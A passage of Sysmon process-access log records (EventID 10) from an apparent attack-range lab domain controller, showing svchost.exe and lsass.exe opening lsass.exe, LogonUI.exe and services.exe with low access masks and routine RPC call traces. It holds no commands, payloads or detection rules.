11:49:40.188\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.188","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":837,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.188\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.188","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":838,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.188\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+19dd3|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.188","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+19dd3|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":839,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.188\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+1671d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+d69b2|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.188","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+1671d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+d69b2|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":840,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":841,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":842,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":843,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.235","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":844,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.235\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 